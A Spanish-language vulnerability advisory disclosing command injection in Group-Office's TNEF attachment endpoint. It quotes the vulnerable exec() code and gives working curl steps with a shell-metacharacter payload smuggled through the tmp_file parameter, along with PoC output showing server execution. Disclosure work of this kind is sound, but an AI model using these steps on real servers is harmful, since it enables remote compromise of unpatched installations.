
RCE - Inyección de comandos a través del manejador de archivos adjuntos TNEF
Vector CVSS 4.0 :
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Se identificó una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en Group-Office. El endpoint email/message/tnefAttachmentFromTempFile concatena directamente el parámetro controlado por el usuario tmp_file en una llamada exec(). Al inyectar metacaracteres de shell en tmp_file, un atacante autenticado puede ejecutar comandos arbitrarios en el servidor.
| Producto | Versiones Afectadas |
|---|---|
| Group-Office | ≤ 26.0.4 |
El parámetro tmp_file se toma de la petición HTTP y se usa para construir un comando shell sin escape ni validación. Esto resulta en inyección de comandos en el comando de extracción tnef, que se ejecuta con los privilegios del servidor web.
Código Vulnerable (www/modules/email/controller/MessageController.php):
protected function actionTnefAttachmentFromTempFile(array $params)
{
$tmpFolder = \GO\Base\Fs\Folder::tempFolder(uniqid(time()));
$tmpFile = new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']);
chdir($tmpFolder->path());
exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), $output, $retVar);
if($retVar!=0)
throw new \Exception("TNEF extraction failed: ".implode("\n", $output));
exec(GO::config()->cmd_zip.' -r "winmail.zip" *', $output, $retVar);
if($retVar!=0)
throw new \Exception("ZIP compression failed: ".implode("\n", $output));
$zipFile = $tmpFolder->child('winmail.zip');
\GO\Base\Util\Http::outputDownloadHeaders($zipFile,false,true);
$zipFile->output();
$tmpFolder->delete();
}
| Etapa | Descripción |
|---|---|
| Origen | Parámetro de consulta tmp_file en index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=... |
| Propagación | new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']) |
| Sumidero | exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), ...) |
Debido a que tmp_file se concatena en el comando shell, metacaracteres como ;, &, comillas invertidas o $() permiten a un atacante añadir comandos arbitrarios.
Requisito de Autenticación: Sí.
MessageControlleraplica una comprobación CSRF desecurity_token, por lo que se requiere una sesión válida + token.
El script PoC inicia sesión, obtiene el security_token, inyecta una carga útil a través de tmp_file y verifica la ejecución leyendo rce.txt de la respuesta ZIP.
python3 poc.py
Ejemplo de salida:
➜ ~ python3 poc.py
[*] Target: http://xx.xx.xxx.xxx:9090
[*] Login status: 200
[*] Login ok, security_token received
[*] Exploit URL: http://xx.xx.xxx.xxx:9090/index.php?r=email/message/tnefAttachmentFromTempFile
[*] tmp_file payload: dummy.dat;id > /tmp/id;id > rce.txt;echo RCE_POC_451a735c >> rce.txt;#
[*] Response status: 200
[+] RCE Confirmed
[+] Command output (id):
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Paso 1: Iniciar sesión
curl -c cookies.txt -b cookies.txt "http://TARGET:PORT/index.php" \
--data-urlencode "r=core/auth/login" \
--data-urlencode "username=YOUR_USERNAME" \
--data-urlencode "password=YOUR_PASSWORD" \
-H "X-Requested-With: XMLHttpRequest"
Respuesta:
{
"success": true,
"groupoffice_version": "26.0.4",
"user_id": 2,
"security_token": "XXXXXXX",
"sid": "XXXXXXXXXXX"
}
Paso 2: Desencadenar el RCE
curl -G "http://TARGET:PORT/index.php" \
-b cookies.txt \
--data-urlencode "r=email/message/tnefAttachmentFromTempFile" \
--data-urlencode "security_token=YOUR_TOKEN" \
--data-urlencode "tmp_file=dummy.dat;id > rce.txt || true;#" \
-o command_output.zip
Resultado:
➜ unzip command_output.zip
Archive: command_output.zip
inflating: rce.txt
➜ cat rce.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Categoría | Severidad | Descripción |
|---|---|---|
| Confidencialidad | Alta | La ejecución arbitraria de comandos permite leer archivos sensibles. |
| Integridad | Alta | El atacante puede modificar o eliminar archivos del servidor. |
| Disponibilidad | Alta | El atacante puede interrumpir servicios o eliminar datos críticos. |